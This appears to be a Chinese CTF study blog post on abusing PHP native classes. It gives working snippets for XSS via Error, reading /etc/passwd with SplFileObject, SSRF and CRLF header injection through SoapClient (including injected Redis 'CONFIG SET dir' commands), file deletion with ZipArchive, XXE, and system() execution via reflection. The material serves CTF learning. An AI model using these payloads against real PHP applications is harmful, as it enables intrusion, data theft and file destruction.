PHP原生类

前言

对于原生类的接触主要是在ctfshow菜鸟杯上的一道题,师傅用原生类两步就秒了,我还在来回折腾。所以记录一下在网上看到的可利用的原生类。

原生类,顾名思义就是自带的类,不需要事前进行class定义。

在ISCC2022web题有个就是典型的原生类利用

image-20230417232054784

其中new的类和向类中传递的参数都可以自定义,就随便用原生类

原生类

Error/Exception

XSS

这两个类中都内置了__toString()方法

1
2
3
<?php
$a = new Error("test");
echo $a;

当执行时,会输出该“test”

image-20230417233124069

而这个test是直接拼接到网页中的,那就有xss攻击:

1
2
$a = new Error("<script>alert('xss')</script>");
echo $a;

此时,会把<script>alert('xss')</script>直接拼接到html中,造成xss攻击

image-20230417233325942

确实是当成脚本解析了

image-20230417233451683

绕过哈希比较

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

在使用类中的__toString()方法时,向Error中传入的1并不会显示,这说明在字符串操作时候,只要传入的“payload”相同,即视为该字符串相同。

但不同的两个类本质上是不一样的。这样说可能有点绕,来看代码

1
2
3
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a . $b;

注意,把$a和$b放在同一行定义才能保证echo出来的内容一致。

1
Error: payload in /home/kali/index.php:2 Stack trace: #0 {main}Error: payload in /home/kali/index.php:2 Stack trace: #0 {main}

可见,两者的字符串是完全一致的,但是进行var_dump比对时,两者的值却不相同。

这就让我想起来之前学长布置过的一个rce:

1
if((string)$_POST['a'] != (string)$_POST['b'] && sha1($_POST['a']) === sha1($_POST['b']))

很不巧,这里是用post方法接收值,而且进行了string转换,而转换之后的值就一样了,所以没法用这个方法解,学长给出来的wp是用读取恶意构造的pdf文件以绕过。

但是如果换个题,把应用场景换在类中比较:

1
if($this->a != $this->b && sha1($this->a) === sha1($this->b))

此时就可以用原生类绕过了

1
$this->a = new Error("payload",1);$this->b = new Error("payload",2);

Directorylterator/Filesystemlterator

1
2
3
4
5
6
7
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

传入/?whoami=glob:///*即可查看根目录下的所有文件

如果不用foreach就只能查看第一个

image-20230418123910771

Filesystemlterator和DirectoryIterator的不同是:Filesystemlterator返回的是以绝对路径显示,而DirectoryIterator仅显示当前目录下

Globlterator

这个类与前两个类似,不过这个查找文件时不需要搭配glob://伪协议使用,直接传入路径即可

1
2
3
4
5
6
7
<?php
$dir = "/*";
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

image-20230418124020916

SplFileObject

可以利用该类读取文件的一行

1
2
3
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

但是也只能读一行,如果要全部读取要加foreach遍历

1
2
3
4
5
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}

SoapClient

SoapClient类中内置了一个__call方法,触发该方法之后可以发送http和https请求。这个也可以被运用在ssrf中。

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

则可以构造:

1
2
3
4
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.255.129:1234/aaa', 'uri'=>'http://192.168.255.129:1234'));
$a->a();
?>

在192.168.255.129上给一个1234的监听,可以接收到:

1
2
3
4
5
6
7
8
9
10
POST /aaa HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://192.168.255.129:1234#a"
Content-Length: 388

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.255.129:1234" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

如果HTTP头存在CRLF漏洞,就可以通过SSRF+CRLF插入任意HTTP头。

payload:

1
2
3
4
5
<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=test", 'uri' => 'test'));
$a->a();
?>

成功插入cookie:

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=test
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

同理,还可以插入Redis命令:

1
2
3
4
5
<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCONFIG SET dir /var/www/html", 'uri' => 'test'));
$a->a();
?>

也可以发送POST数据包,但是要设置Content-Typeapplication/x-www-form-urlencoded

由于Content-Type的位置在UA底下,就可以通过类中的UA插入Content-Type,把原来的挤到底下作为POST内容

抄的一份payload:

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = 'http://192.168.255.129:1234';
$poc = "CONFIG SET dir /var/www/html";
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=Cookie'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"UA\n\rContent-Type: application/x-www-form-urlencoded\n\r".join("\n\r",$headers)."\n\rContent-Length: ". (string)strlen($post_data)."\n\r\n\r".$post_data,'uri'=>'test'));
$a->a();
?>

返回的结果:

image-20230418145614812

成功传入了POST内容。

ZipArchive

类下有个open方法,可以打开一个新的或现有的zip文档进行读取.

1
ZipArchive::open ( string $filename [, int $flags ] ) : mixed

flags可以指定开打的模式:

  • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。

  • ZipArchive::CREATE:如果不存在则创建一个zip压缩包。

  • ZipArchive::RDONLY:只读模式打开压缩包。

  • ZipArchive::EXCL:如果压缩包已经存在,则出错。

  • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

如果指定flags为ZipArchive::OVERWRITE,就可以把指定文件删除。

1
2
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);

由于没有保存,所以最后的效果就是把1.txt删除

SimpleXMLElement

这个类用于解析XML文档中的元素。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

1
2
3
4
5
6
7
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)

$data:格式正确的XML字符串,或者XML文档的路径或URL(如果$data_is_url为true)。

$data_is_url:默认情况下$data_is_url为false。使用true指定$data的路径或URL到一个XML文件,而不是字符串数据。

可以看到通过设置第三个参数 $data_is_urltrue,我们可以实现远程xml文件的载入。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

当可以控制目标的调用的类的时候,就可以通过这个类进行XXE攻击。

攻击的手法:

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)

Reflection

ReflectionMethod

该类中有个getDocComment() 方法,可以获得类中函数的注释内容。

1
2
3
4
5
<?php
include('flag.php');
highlight_file(__FILE__);
$a = new ReflectionMethod('F','get');
?>

输出

image-20230418202913993

ReflectionClass

能显示出类中的属性和方法:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
class F{
protected $pro;
private $pri;
protected function get(){
echo 'pro';
}
}
$ref = new ReflectionClass('F');
echo $ref;
?>

image-20230418203240233

ReflectionFunction

1
2
3
4
5
6
<?php
$a = "system";
$b = "whoami";
$func = new ReflectionFunction($a);
echo $func->invokeArgs(array($b));
?>

image-20230418215234029

动态调用

学习中看到别人的博客经常提到“动态调用”,因此去了解了一下。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

当给一个函数名赋值给一个变量时,可以通过调用这个变量来调用这个函数。

浅显一点的有:

1
2
3
4
5
<?php
$a = "system";
$b = "whoami";
($a)($b);
?>

这样相当于直接执行了system(whoami)命令。

复杂调用有:

1
2
3
4
5
6
7
8
9
10
11
<?php
class F{
public function sys($exec){
system($exec);
}
}
$n = new F();
$a = array($n,"sys");
$b = "whoami";
$a($b);
?>

其中通过数组来调用F类中的sys函数,并把whoami赋值给$b,传到了F类中的sys函数。

image-20230418220831410

参考

CTF 中 PHP原生类的利用 – JohnFrod’s Blog

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)

PHP: 可变函数 - Manual

  • Copyrights © 2022-2024 b1xcy